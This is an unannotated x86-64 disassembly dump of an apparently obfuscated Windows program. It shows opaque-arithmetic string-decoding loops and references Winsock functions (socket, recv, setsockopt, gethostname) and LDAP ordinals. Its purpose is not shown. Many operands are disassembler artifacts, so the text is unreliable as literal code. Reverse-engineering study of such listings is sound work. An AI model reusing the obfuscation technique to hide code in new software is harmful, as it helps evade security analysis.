movabs rcx, 0x93cd687c7f75c5c9
jmp 0x140098b3e
movabs rcx, 0xfecc91b3a549cbe8
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x58
jmp 0x1400997ac
movabs rcx, 0xd731c0baa65e4056
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5a
inc r9
dec rdi
inc rdi
movabs rdx, 0x4087bb9934f26423
jmp 0x140098b22
movabs rcx, 0xaf96efc1a772b4c4
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5c
dec rdi
inc rdi
movabs rdx, 0x4087bb9934f26423
jmp 0x140098b22
movabs rcx, 0x87fc1ec8a8872932
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5e
jmp 0x14009965b
movabs rcx, 0x60614dcfa99b9da0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x60
jmp 0x140099837
movabs rcx, 0x38c67cd6aab0120e
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x62
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x4087bb9934f26423
jmp 0x140098b22
movabs rcx, 0x112babddabc4867c
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x64
jmp 0x14009987f
movabs rcx, 0xe990dae4acd8faea
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x66
jmp 0x1400998b0
movabs rcx, 0xc1f609ebaded6f58
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
jmp 0x140099906
movabs rcx, 0xdef2ff7d30a0926b
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x13
mov byte [rbp + rdi + 0x920], r11b
inc rdi
movabs rdx, 0x4087bb9934f26423
jmp 0x140098b22
movabs rcx, 0xb7582e8431b506d9
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x11
cmp r9, 5
jb 0x140098fd2
movabs rcx, 0xe3d7a19ac8ecce16
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, bl
lea r11d, [rcx*2 - 0x34]
jmp 0x1400997ac
movabs rcx, 0x8fbd5d8b32c97b47
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0xf
cmp r8, 0x2a
jae 0x140099630
lea rax, [r9 + 8]
cmp r8, rax
jbe 0x1400994ce
movabs rdx, 0x57cb77e0d3b95a62
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009900a
movabs rcx, 0x68228c9233ddefb5
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0xd
lea rax, [r9 + r8]
cmp rax, 0x1000
je 0x140099685
lea rcx, [r9 + 2]
cmp r8, rcx
jbe 0x1400993ec
movabs rcx, 0x37f1e5aa5f1020e5
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x43
jmp 0x140099053
movabs rdx, 0xbf196d46bbf758ee
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140099906
movabs rdx, 0x977e9c4dbd0bcd5c
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400998b0
movabs rdx, 0x6fe3cb54be2041ca
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x3d
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009987f
movabs rdx, 0x4848fa5bbf34b638
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x4087bb9934f26423
jmp 0x140098b22
movabs rdx, 0x20ae2962c0492aa6
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140099837
movabs rdx, 0xf9135869c15d9f14
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_60
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x140099655
movabs rdx, 0xd1788770c2721382
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
movabs rdx, 0x4087bb9934f26423
jmp 0x140098b22
movabs rdx, 0xa9ddb677c38687f0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
inc r9
dec rdi
inc rdi
movabs rdx, 0x4087bb9934f26423
jmp 0x140098b22
movabs rdx, 0x8242e57ec49afc5e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400997ac
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x1400992bf
movabs rcx, 0x93cd687c7f75c5c9
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x7f
jmp 0x1400990b0
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400992f4
movabs rdx, 0x3fb3246ce95272fa
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140099906
lea rax, [r9 + 3]
cmp r8, rax
jne 0x140099329
movabs rdx, 0x8ee8c65ee7298a1e
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009987f
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140099378
movabs rdx, 0xb6839757e61515b0
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x4087bb9934f26423
jmp 0x140098b22
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400993a7
movabs rdx, 0x5b93949e3ec2cd4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_26
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x140099655
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400990b0
movabs rdx, 0x2d540a42e2d7b866
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
movabs rdx, 0x4087bb9934f26423
jmp 0x140098b22
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009941c
movabs rcx, 0x5f8cb6a35dfbac77
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x41
jmp 0x1400997ac
inc rax
cmp r8, rax
jne 0x14009945e
movabs rcx, 0x8727879c5ce73809
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3f
inc r9
dec rdi
inc rdi
movabs rdx, 0x4087bb9934f26423
jmp 0x140098b22
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14009949e
movabs rcx, 0xaec258955bd2c39b
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3d
dec rdi
inc rdi
movabs rdx, 0x4087bb9934f26423
jmp 0x140098b22
lea rax, [r9 + 4]
cmp r8, rax
jne 0x140099053
movabs rcx, 0xd65d298e5abe4f2d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x3b
jmp 0x14009965b
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x140099503
movabs rdx, 0x7f6648d9d2a4e5f4
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x140099906
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140099538
movabs rdx, 0xce9beacbd07bfd18
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x14009987f
lea rax, [rcx + 1]
cmp r8, rax
jne 0x140099587
movabs rdx, 0xf636bbc4cf6788aa
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x4087bb9934f26423
jmp 0x140098b22
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400995b6
movabs rdx, 0x456c5db6cd3e9fce
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
jmp 0x140099655
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400995fb
movabs rdx, 0x6d072eafcc2a2b60
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
movabs rdx, 0x4087bb9934f26423
jmp 0x140098b22
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14009900a
movabs rdx, 0xbc3cd0a1ca014284
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400997ac
movabs rdx, 0xb727293c7d859a8
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, 0x34
sub cl, al
lea r11d, [rcx + rcx]
add r11b, byte [rbp + rdi + 0x920]
add r11b, dl
add r11b, bl
movabs rcx, 0x9f3fdb10474e1f71
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x17
add bl, cl
add bl, r11b
mov byte [rbp + rdi + 0x920], bl
jmp 0x140099837
movabs rdx, 0x330d438cc6c3e53a
add rdx, rdi
movzx eax, dl
and al, bl
mov ecx, gethostname
sub cl, al
lea r11d, [rcx + rcx]
sub r11b, byte [rbp + rdi + 0x920]
add r11b, dl
add r11b, bl
jmp 0x14009987f
movabs rcx, 0x844aeaf76af1219f
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x59
jmp 0x140099906
movabs rcx, 0x351549056d1a0a7b
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5d
jmp 0x14009987f
movabs rcx, 0xd7a780c6e2e7ee9
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x5f
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x4087bb9934f26423
jmp 0x140098b22
movabs rcx, 0x96aa0521716bdc33
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x65
dec rdi
inc rdi
movabs rdx, 0x4087bb9934f26423
jmp 0x140098b22
movabs rcx, 0x4774632f7394c50f
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x69
jmp 0x1400997ac
movabs rcx, 0xf83ec13d75bdadeb
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6d
movabs rcx, 0x77a50a17486293df
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
sub bl, 0x19
add bl, cl
mov byte [rbp + rdi + 0x920], bl
inc r9
dec rdi
inc rdi
movabs rdx, 0x4087bb9934f26423
jmp 0x140098b22
movabs rcx, 0xa9091f4b77e696c7
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x71
dec rdi
inc rdi
movabs rdx, 0x4087bb9934f26423
jmp 0x140098b22
movabs rcx, 0x59d37d597a0f7fa3
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x75
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
movabs rdx, 0x4087bb9934f26423
jmp 0x140098b22
mov rbx, r10
movabs rdx, 0xa9ddb677c38687f
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x79
add r11b, dl
movabs rdx, 0xc6daac094639ab03
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx ecx, bl
sub cl, al
sub cl, 0x15
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x920], al
inc r9
add rax, r9
sub rdi, rax
movabs rdx, 0x5aa81485c5af70cc
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, bl
add cl, dl
mov byte [rbp + rdi + 0x920], cl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
jmp 0x140099906
movabs rcx, 0xbb6839757e61515b
add rcx, rdi
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea r11d, [r10 + rcx]
sub r11b, 0x7d
movzx eax, byte [rbp + rdi + 0x920]
add rax, r9
add rdi, rax
inc rdi
movabs rdx, 0x4087bb9934f26423
jmp 0x140098b22
movabs rcx, 0xc9b748ae382fc16d
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 5
jmp 0x140098b1e
movabs rcx, 0xa21c77b5394435db
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 3
jmp 0x140098b0b
lea rcx, [rbp + 0x160ec2c]
jmp 0x14009998b
lea rcx, [rbp + 0x96b1f5]
jmp 0x14009998b
lea rcx, [rbp + 0x920]
xor r8d, r8d
mov rdx, r15
call fcn.140036bc0
test al, al
je 0x1400999ed
xor ebx, ebx
mov edi, dword [r14]
cmp edi, ebx
sete dl
mov dword [rbp - 0x6c], 0
mov dword [rbp - 0x68], 0
lea r9, [rbp - 0x6c]
xor r8d, r8d
mov rcx, qword [rsi]
call fcn.14003e490
test al, al
je 0x1400999d0
mov dword [r14], ebx
cmp edi, ebx
jne 0x1400999dd
call fcn.140014a40
inc ebx
add rsi, 8
cmp ebx, 2
jl 0x1400999a0
call fcn.140018d80
lea rdx, [0x140227f40]
lea rcx, [rbp + 0x218]
call fcn.140002680
mov rbx, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x68]
mov rcx, qword [0x14022e160]
call fcn.14006ca20
mov r14, qword [rax]
mov rcx, rbx
call fcn.140002820
cmp byte [r14 + 0x38], 0
jne 0x1400a3852
movsxd rax, dword [r14 + 0x30]
lea rsi, [0x1401b8728]
mov rdi, qword [rsi + rax*8]
mov byte [rbp + 0x948], 0xe4
mov byte [rbp + 0x949], Ordinal_200
mov byte [rbp + 0x94a], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x94b], Ordinal_211
mov byte [rbp + 0x94c], Ordinal_211
mov byte [rbp + 0x94d], Ordinal_200
mov byte [rbp + 0x94e], __WSAFDIsSet
mov byte [rbp + 0x94f], 0xe7
mov byte [rbp + 0x950], 0xb7
mov byte [rbp + 0x951], 0xba
mov byte [rbp + 0x952], 0xb3
mov byte [rbp + 0x953], 0xbf
mov byte [rbp + 0x954], 0xb5
mov byte [rbp + 0x955], 0xb2
mov byte [rbp + 0x956], 0xb0
mov byte [rbp + 0x957], Ordinal_211
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x958], xmm0
mov word [rbp + 0x968], ax
mov byte [rbp + 0x96a], al
movabs r15, 0x106fa690346f8618
movabs r12, 0xe6b2424cc8c9cce8
movzx edx, byte [rsp + 0x40]
nop dword [rax]
nop word [rax + rax]
mov r8, qword [0x14022e4a8]
mov r9, qword [0x14022e4a0]
nop
xor ebx, ebx
movabs rcx, 0x318b697494c85bb8
cmp rbx, 0x23
jae 0x14009a8c6
movzx r11d, byte [rbp + rbx + 0x948]
mov r10, r11
cmp r8, rbx
ja 0x14009a8ba
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140099b53
add rcx, rbx
mov rax, rcx
and rax, r11
imul rdx, rax, 0xfffffffffffffffe
add rdx, rcx
add rdx, r11
sub dl, 8
jmp 0x140099b90
je 0x14009a833
lea rax, [r9 + 3]
cmp r8, rax
je 0x14009a797
lea rax, [r9 + 5]
cmp r8, rax
je 0x14009a73c
lea rax, [r9 + 6]
cmp r8, rax
je 0x14009a713
lea rax, [r9 + 8]
cmp r8, rax
je 0x14009a6c0
nop dword [rax]
cmp r9, rbx
ja 0x14009a8ae
lea rax, [r9 + 0x3e8]
cmp r8, rax
jae 0x140099bc6
lea rdx, [rbx + r15]
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x140099bf0
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x14009a6ac
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009a674
lea rax, [rcx + 1]
cmp r8, rax
je 0x14009a651
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14009a26b
nop dword [rax]
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14009a246
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14009a219
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14009a1ed
lea rax, [r9 + 4]
cmp r8, rax
je 0x14009a1c7
lea rcx, [r9 + 3]
cmp r8, rcx
je 0x14009a18f
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14009a15a
lea rax, [r9 + 0x10]
cmp r8, rax
je 0x14009a134
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14009a10e
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14009a0d7
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x140099c00
mov r8, rcx
lea r9, [rcx + 0x64]
lea rax, [r9 + 0x20]
cmp rcx, rax
jb 0x14009a88b
lea rax, [r9 + 0x10]
cmp rcx, rax
jb 0x14009a867
lea rax, [r9 + 0xa]
cmp rcx, rax
jb 0x140099def
lea rax, [r9 + 0x200]
cmp rcx, rax
jb 0x140099dcc
lea rcx, [r9 + 0x80]
cmp r8, rcx
jb 0x140099db2
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x14009a075
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14009a023
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140099fd3
lea rax, [r9 + 5]
cmp r8, rax
jb 0x140099fa3
lea rax, [r9 + 4]
cmp r8, rax
jb 0x140099c00
mov r8, rcx
lea r9, [rcx + 0x28]
lea rax, [r9 + 0x5a]
cmp rcx, rax
ja 0x140099f6c
lea rax, [r9 + 0x41]
cmp rcx, rax
ja 0x140099f46
lea rax, [r9 + 0x7a]
cmp rcx, rax
ja 0x140099f20
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x140099eeb
lea rcx, [r9 + 4]
cmp r8, rcx
ja 0x140099eb9
lea rax, [r9 + 0x28]
cmp r8, rax
ja 0x140099e96
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140099e6d
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x140099e41
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x140099e1e
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140099c00
mov r8, rcx
lea r9, [rcx + 0x2a]
jmp 0x140099c00
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x58
jmp 0x140099bf0
movabs rcx, 0x839b6f639f391578
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x48
jmp 0x140099b90
movabs rdx, 0x20849c7a75a85e08
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, 0x38
add dl, cl
movabs rcx, 0x318b697494c85bb8
jmp 0x140099b1f
movabs rcx, 0x837d3481a37c30c0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x40
jmp 0x14009a6e1
movabs rcx, 0x2066619879eb7950
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x30
inc r9
dec rbx
inc rbx
jmp 0x140099b02
movabs rcx, 0xbd4f8eaf505ac1e0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x20
dec rbx
inc rbx
jmp 0x140099b02
movabs rcx, 0x5a38bbc626ca0a70
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x10
jmp 0x14009a75a
movabs rcx, 0xf721e8dcfd395300
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add r8, r9
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140099b02
movabs rdx, 0x940b15f3d3a89b90
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 8
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140099b02
movabs rdx, 0x30f4430aaa17e420
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14009a7ba
movabs rdx, 0xcddd702180872cb0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14009a7ea
movabs rdx, 0x6ac69d3856f67540
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
movzx eax, byte [rbp + rbx + 0x948]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140099b02
movabs rdx, 0x730d8df16f0caaa8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
mov byte [rbp + rbx + 0x948], dl
inc rbx
jmp 0x140099b02
movabs rdx, 0xff6bb08457bf338
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_60
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
cmp r9, 0xa
jb 0x140099fc4
movabs rdx, 0xbd8c047347d48b50
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add cl, dl
lea edx, [rcx*2 - 0x60]
jmp 0x14009a6e1
movabs rcx, 0xacdfe81f1beb3bc8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x78
cmp r8, 0x61
jae 0x14009a5fb
lea rax, [r9 + 9]
cmp r8, rax
jbe 0x14009a4dd
movabs rdx, 0xdea7c757a82d60f0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
jmp 0x140099feb
movabs rcx, 0x49c91535f25a8458
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x68
lea rax, [r9 + r8]
cmp rax, 9
je 0x14009a627
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x14009a3c2
movabs rdx, 0xce3820c773bddad8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, recv
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14009a041
movabs rdx, 0x629de7613a9d2490
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 8
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
movzx eax, byte [rbp + rbx + 0x948]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140099b02
movabs rdx, 0xff871478110c6d20
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x14009a7ea
movabs rdx, 0x9c70418ee77bb5b0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_26
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14009a7ba
movabs rdx, 0x39596ea5bdeafe40
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_32
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140099b02
movabs rdx, 0xd6429bbc945a46d0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
add r8, r9
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140099b02
movabs rdx, 0x732bc8d36ac98f60
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x14009a75a
movabs rdx, 0x1014f5ea4138d7f0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
dec rbx
inc rbx
jmp 0x140099b02
movabs rcx, 0xacfe230117a82080
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x80
inc r9
dec rbx
inc rbx
jmp 0x140099b02
movabs rdx, 0x49e75017ee176910
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x70
add dl, cl
jmp 0x14009a6e1
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x14009a2a0
movabs rdx, 0x318b697494c85bb8
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 8
add dl, cl
jmp 0x14009a093
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009a2e2
movabs rcx, 0x20df4d2068df0c30
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x50
movzx eax, byte [rbp + rbx + 0x948]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140099b02
inc rax
cmp r8, rax
jne 0x14009a311
movabs rcx, 0xe70cf2f2bc007b10
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x70
jmp 0x14009a7ba
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14009a356
movabs rdx, 0xad3a98c50f21e9f0
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
add r8, r9
movzx eax, dl
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140099b02
lea rax, [r9 + 5]
cmp r8, rax
jne 0x14009a389
movabs rdx, 0x10516bae38b2a160
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
jmp 0x14009a75a
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14009a093
movabs rdx, 0x73683e97624358d0
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
dec rbx
inc rbx
jmp 0x140099b02
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14009a3f5
movabs rdx, 0x314ef3b09d4e9248
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
jmp 0x14009a6e1
inc rax
cmp r8, rax
jne 0x14009a42a
movabs rcx, 0xf77c9982f0700128
add rcx, rbx
movzx eax, cl
